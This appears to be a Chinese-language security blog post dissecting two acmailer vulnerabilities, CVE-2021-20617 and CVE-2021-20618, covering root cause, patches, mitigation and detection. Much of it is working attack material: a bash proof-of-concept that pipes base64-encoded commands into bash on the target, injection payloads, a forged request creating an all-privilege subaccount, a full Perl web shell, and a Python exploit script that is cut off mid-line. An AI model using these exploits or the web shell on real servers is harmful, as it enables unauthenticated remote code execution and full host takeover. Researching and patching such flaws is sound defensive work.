剖析漏洞 - acmailer N-Day漏洞全面拆解
目录
- 引言
- 关于CVE-2021-20617
- CVE-2021-20617根本原因分析
- CVE-2021-20617利用条件
- CVE-2021-20617补丁分析
- CVE-2021-20617概念验证
- CVE-2021-20617缓解建议
- CVE-2021-20617检测指南
- 关于CVE-2021-20618
- CVE-2021-20618根本原因分析
- CVE-2021-20618利用条件
- CVE-2021-20618补丁分析
- CVE-2021-20618概念验证
- CVE-2021-20618缓解建议
- 结论
引言
在这篇文章中,我们最近的实习生Wang Hengyue(@w_hy_04)被分配了分析acmailer中CVE-2021-20617和CVE-2021-20618的任务,因为目前没有任何关于这些漏洞的公开信息。今天,我们将分享他在剖析acmailer漏洞过程中的经历。这两个漏洞最初都是由ma.la发现的。
acmailer是一个基于Perl的邮件发送应用程序,提供以发送群发邮件为中心的功能,以及相关的功能,如注册和注销表单、调查和邮件模板。
acmailer还有一个账户系统,允许系统管理员创建子账户并为每个子账户授予个性化权限。
现在,让我们来谈谈acmailer中可被利用的漏洞。
关于CVE-2021-20617
在acmailer和acmailer DB的初始化功能中发现了一个操作系统命令注入漏洞,允许在易受攻击应用程序的主机上执行远程命令。
CVE-2021-20617根本原因分析
发现版本4.0.1中的文件init_ctl.cgi包含一个操作系统命令注入漏洞。通过利用它,攻击者能够在托管易受攻击应用程序的服务器上运行命令。因此,攻击者能够危害托管应用程序的整个机器。
每次向http://TARGET_HOST/init_ctl.cgi发出POST请求时,都会执行以下代码:
1
2
3
4
5
6
|
# sendmailpathの中にqmailが含まれている場合はqmailにチェック
# (翻译:如果sendmailpath包含qmail,检查qmail)
my $qmailpath = `ls -l $FORM{sendmail_path}`;
if ($qmailpath =~ /qmail/) {
$FORM{qmail} = 1;
}
|
通过检查在初始化设置完成后正常使用中发送到init_ctl.cgi的POST请求,我们观察到sendmail_path是发送的参数之一。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
POST /acmailer/init_ctl.cgi HTTP/1.1
Host: [internal IP]
Content-Length: 172
Origin: http://[internal IP]
Content-Type: application/x-www-form-urlencoded
Referer: http://172.18.0.2/acmailer/init_ctl.cgi
Connection: close
admin_name=username&
admin_email=mail%40email.com&
login_id=loginid&
login_pass=loginpw&
sendmail_path=sendmailpath&
homeurl=http%3A%2F%2Fexample.com&
mypath=env%2F
|
参数sendmail_path直接用于执行的系统命令中:
1
|
`ls -l $FORM{sendmail_path}`
|
因此允许命令注入发生。例如,通过将请求中的参数更改为:
1
|
sendmail_path=|touch /tmp/pwned
|
服务器将执行shell命令:
1
|
ls -l |touch /tmp/pwned
|
可以通过在服务器的文件系统上观察是否在/tmp/pwned创建了文件来检查远程代码执行的成功:
CVE-2021-20617利用条件
只要init_ctl.cgi文件仍然存在于服务器上且不需要身份验证,就可以利用此漏洞。
CVE-2021-20617补丁分析
在版本4.0.1和4.0.2之间,init_ctl.cgi有3处更改:
1
2
3
4
5
6
7
|
+ my $admindata = $objAcData->GetAdminData();
+ # acmailerがインストール済であればこのページは表示しない
+ # (翻译:如果acmailer已经安装,此页面将不显示)
+ if ($admindata->{login_id} && $admindata->{login_pass}) { # [1]
+ print "Content-type: text/html\n\n";
+ die;
+ }
|
[1] 检查系统中是否已存在管理员数据,如果存在,则终止脚本执行。此外,从4.0.2开始,由于/tmpl/init.tmpl的更改,加载页面init_ctl.cgi会显示以下消息:
1
2
|
"※インストール完了後は、「init_ctl.cgi」を削除してください。"
(翻译:"安装完成后,请删除`init_ctl.cgi`。")
|
由于大多数生产设置都会完成初始化,[1]处的检查将阻止攻击者访问init_ctl.cgi,从而防止利用该漏洞。
1
2
3
|
- my $qmailpath = `ls -l $FORM{sendmail_path}`;
+ $FORM{sendmail_path} =~ s/'//g;
+ my $qmailpath = `ls -l '$FORM{sendmail_path}'`; # [2]
|
[2] 从路径字符串中去除单引号字符,并将文件名用单引号括起来,防止从执行的命令中的字符串中逃逸。
1
2
3
4
5
|
+ }
+
+ if($FORM{sendmail_path} && !-e $FORM{sendmail_path} ){ # [3]
+ push(@error, "・sendmailパスが存在しません。");
+ # (翻译:"sendmail路径不存在。")
|
[3] 在函数error_check中添加了一个额外的检查,以验证提供的路径是否指向文件系统中的实际文件。由于命令注入字符串不太可能是有效路径,这有助于减少成功命令注入的可能性。
该补丁足以防止进一步利用;然而,它看起来并不非常健壮,因为它部分依赖于用户手动删除设置文件。尽管命令字符串中的单引号无法逃逸,但直接执行命令是不良实践。
CVE-2021-20617概念验证
由于服务器默认使用EUC-JP编码,发送&、’、>或其他特殊字符很困难。可以将有效负载作为base64编码字符串传递;但是,可能需要空白填充以确保base64编码字符串中不存在+和=字符。
这是一个功能性利用bash脚本,利用命令注入漏洞在目标系统上运行任意命令。
请将以下脚本保存为proof_of_concept.sh。
1
2
3
4
5
6
|
host=$1
command=$2
base=$(echo "$command" | base64)
echo 'make sure the output does not contain + or =:'
echo $base
/usr/bin/curl -s -k -X 'POST' --data-binary "admin_name=u&[email protected]&login_id=l&login_pass=l&sendmail_path=|echo $base | base64 -d | bash&homeurl=http%3A%2F%2F&mypath=e" "${host}init_ctl.cgi"
|
示例利用用法如下:
1
|
./proof_of_concept.sh http://127.0.0.1/acmailer/ 'touch /tmp/pwned'
|
输出将类似于:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
make sure the output does not contain + or =:
dG91Y2gK
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="index.cgi">here</a>.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address>
</body></html>
|
CVE-2021-20617缓解建议
根据供应商公告,建议的解决方法是手动删除init_ctl.cgi。此外,升级到acmailer的4.0.2及以上版本或acmailerDB的1.1.5及以上版本可以防止利用该漏洞。
另一个缓解措施是在完成初始设置后自动删除init_ctl.cgi,而不是依赖用户执行删除。
CVE-2021-20617检测指南
通过检查服务器的访问日志中初始设置后对/init_ctl.cgi的所有请求,可以检测到此漏洞的利用,因为此页面仅在初始设置期间使用。
关于CVE-2021-20618
在acmailer和acmailer DB的已弃用表单功能中发现了一个通过不受控文件路径的任意文件写入漏洞,允许未经身份验证的用户附加到可从易受攻击应用程序访问的任何.cgi文件,从而获得具有所有权限的子账户访问权限。通过使用管理员账户进行身份验证后,攻击者可以利用管理功能替换现有的.cgi文件来获得远程代码执行。此外,acmailer的逻辑中存在权限提升漏洞,允许被授予某些权限的用户接管acmailer上的管理员账户。
CVE-2021-20618根本原因分析
发现在已弃用的调查功能中的页面enq_form.cgi包含一个外部文件名或路径控制漏洞。通过利用它,攻击者能够附加到托管易受攻击应用程序的服务器上acmailer可访问的任何任意.cgi文件。
enq_form.cgi中的以下代码在每次向/enq_form.cgi发出POST请求时调用InsData():
1
2
|
# 更新 (翻译:"update")
$objAcData->InsData($FORM{enq_id}, 'ENQANS', \%FORM);
|
clsAcData.pm中的以下代码定义了InsData:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
# データ追加 (翻译:"数据添加")
# 引 数:ファイル名 テーブル名 フォーム
# (翻译:"参数:文件名 表名 表单")
# 戻り値:(翻译:"返回值:")
sub InsData {
my $this = shift;
my $filename = shift;
# ... (为简洁起见省略)
my $file = $this->{DATA_DIR}.$filename.".cgi";
# 追加データを上書き (翻译:"覆盖附加数据")
$this->InsertFile($file, $regdata);
return 1;
}
|
此函数的第一个参数是$filename,它确定用于存储数据的文件名。观察到在/enq_form.cgi中的InsData()调用中,第一个参数由POST参数确定,因此可以由攻击者控制。观察到InsData()只能写入.cgi文件。
对/enq_form.cgi的正常POST请求如下所示:
1
2
3
4
5
6
|
POST /acmailer/enq_form.cgi HTTP/1.1
Host: 172.18.0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 78
answer_1=1&Submit=%C5%EA%B9%C6&id=1672295918137542&mail_id=admin&key=key®=1
|
观察到id参数作为第一个参数传递给InsData(),因此可以手动篡改以更改InsData()写入的文件。还观察到其余参数以制表符分隔附加到文件中。
因此,攻击者可以通过写入.cgi文件来影响服务的可用性,导致服务器无法提供该页面。
观察到在诸如/admin_edit.cgi之类的经过身份验证的页面上,身份验证流程包含以下行:
1
|
my $LOGIN = logincheck($S{login_id},$S{login_pass}, $admindata);
|
common.pm中的以下代码定义了logincheck():
1
2
3
4
5
6
7
8
9
10
11
12
|
# ログインチェック (翻译:"登录检查")
sub logincheck {
my($login_id,$login_pass, $admindata)=@_;
#...
# サブアカウント情報取得
# (翻译:"获取子账户数据")
my $objAcData = new clsAcData($SYS->{data_dir});
my @subaccount = $objAcData->GetData('subaccount', 'SUBACCOUNT');
foreach my $ref(@subaccount) {
# ...
# ...
}
|
观察到logincheck()调用GetData()来检查登录详细信息的真实性,该函数使用与InsData()相同的格式从文件中读取:
1
|
my @subaccount = $objAcData->GetData('subaccount', 'SUBACCOUNT');
|
鉴于对GetData()的此调用正在检查文件名subaccount.cgi,早期的文件写入漏洞可用于向subaccount.cgi附加新行,创建一个具有所有权限的子账户,攻击者可以使用该子账户登录。
例如,通过发送以下POST请求:
1
2
3
4
5
6
|
POST /acmailer/enq_form.cgi HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 166
answer_1=1&Submit=%C5%EA%B9%C6&id=subaccount&mail_id=id%09user%09pass%091%091%091%091%091%091%091%091%091%091%091%091%091%091%091%091%091%091%09&key=key®=1
|
行id user pass 1 1 (…) 1被附加到文件subaccount.cgi,创建一个具有id id、用户名user、密码pass且所有权限标志设置为1的子账户。
一旦经过身份验证,可以利用更新各种.cgi表单的管理功能将其替换为执行任意系统命令的perl web shell。此功能位于/import.cgi,以下POST请求将替换form.cgi文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
POST /acmailer/import.cgi HTTP/1.1
Host: 127.0.0.1
Cookie: sid=fakecookie
Content-Length: 1222
Content-Type: multipart/form-data; boundary=1013797725142a3384269e72bf8f4c66
--1013797725142a3384269e72bf8f4c66
Content-Disposition: form-data; name="mode"
form
--1013797725142a3384269e72bf8f4c66
Content-Disposition: form-data; name="___sid"
fakecookie
--1013797725142a3384269e72bf8f4c66
Content-Disposition: form-data; name="data"; filename="data"
#!/usr/bin/perl -w
use strict;
my ($cmd, %FORM);
$|=1;
print "Content-Type: text/html\r\n";
print "\r\n";
# Get parameters
%FORM = parse_parameters($ENV{'QUERY_STRING'});
if(defined $FORM{'cmd'}) {
$cmd = $FORM{'cmd'};
...
--1013797725142a3384269e72bf8f4c66--
|
此后,导航到/form.cgi将显示上传的web shell,允许代码执行。
CVE-2021-20618利用条件
只要enq_form.cgi文件仍然存在于服务器上且不需要身份验证,就可以利用此漏洞。不需要创建表单来利用该漏洞。
CVE-2021-20618补丁分析
从acmailer的4.0.3版本和acmailerDB的1.1.5版本开始,enq_*.cgi文件(包括enq_form.cgi)被删除;因为旧的表单系统已弃用。因此,由于enq_form.cgi在4.0.3或1.1.5以上的版本中不再存在,较新版本不再易受攻击。
CVE-2021-20618概念验证
这是一个用Python 3编写的功能性利用程序,利用文件写入漏洞通过在目标应用程序上创建具有所有权限的子账户并上传perl web shell来实现远程代码执行。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
|
#!/usr/bin/env python3
import random
import requests
import string
import sys
# Application Types
APP_ACMAILER_DB = 0
APP_ACMAILER = 1
# Perl Webshell
perl_webshell = """#!/usr/bin/perl -w
use strict;
my ($cmd, %FORM);
$|=1;
print "Content-Type: text/html\\r\\n";
print "\\r\\n";
# Get parameters
%FORM = parse_parameters($ENV{'QUERY_STRING'});
if(defined $FORM{'cmd'}) {
$cmd = $FORM{'cmd'};
}
print '<HTML><body><form action="" method="GET"><input type="text" name="cmd" size=20 value="' . $cmd . '"><input type="submit" value="Run"></form><pre>';
if(defined $FORM{'cmd'}) {
print "Results of '$cmd' execution:\\n\\n";
print "-"x80;
print "\\n";
open(CMD, "($cmd) 2>&1 |") || print "Could not execute command";
while(<CMD>) {
print;
}
close(CMD);
print "-"x80;
print "\\n";
}
print "</pre>";
sub parse_parameters ($) {
my %ret;
my $input = shift;
foreach my $pair (split('&', $input)) {
my ($var, $value) = split('=', $pair, 2);
if($var) {
$value =~ s/\+/ /g ;
$value =~ s/%(..)/pack('c',hex($1))/eg;
$ret{$var} = $value;
}
}
return %ret;
}"""
def check_args():
# Usage
if len(sys.argv) != 4:
print("[+] Usage: {} http://target-site/ LHOST LPORT".format(sys.argv[0]))
sys.exit(1)
def check_app_type(url):
res = requests.get(url + "login.cgi")
if "ACMAILER DB" in res.text:
return APP_ACMAILER_DB
elif "ACMAILER" in res.text
|